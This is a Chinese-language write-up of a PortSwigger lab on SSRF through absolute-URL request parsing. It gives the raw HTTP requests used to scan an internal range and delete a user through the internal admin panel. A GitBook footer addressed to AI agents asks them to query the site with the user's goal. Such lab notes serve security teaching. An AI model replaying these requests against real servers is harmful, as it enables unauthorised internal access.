> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/ssrf-via-incorrect-query-parsing.md).
# 通过错误解析查询导致的 SSRF
通过错误解析查询导致的 SSRF，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过错误请求解析实现的 SSRF
这个实验室存在一个 **基于路由的 SSRF**。服务器误解了查询实际目标的主机。目标是访问内部管理面板，然后删除该用户 **carlos**.
### 初始观察
直接编辑 `主机` 头不起作用。请求仍然被阻止。
```http
Host: jord4n.pro
```
### 绕过解析
这里的关键点是请求格式。当使用绝对 **URL**时，应用程序会尝试解析查询行中指定的主机。 `主机` 随后，header 就变得次要了。
```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```
答案证实了这一行为。服务器正试图访问 `test.com`.
```html
服务器错误：连接 test.com 时网关超时（3）
```
### 内部主机发现
现在我们可以扫描内部 `192.168.0.0/24` 范围。最简单的方法是使用 **Intruder** 最后一个字节上的
```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```
该 `192.168.0.92` 地址返回 `302` 代码。此响应表明管理面板存在。
### 删除用户
在识别出内部主机后，我们打开 `/admin`。然后我们从页面获取 CSRF 令牌。只需将删除请求发送到内部主机。
```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92
csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```
删除 **carlos** 即可完成该实验。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/ssrf-via-incorrect-query-parsing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
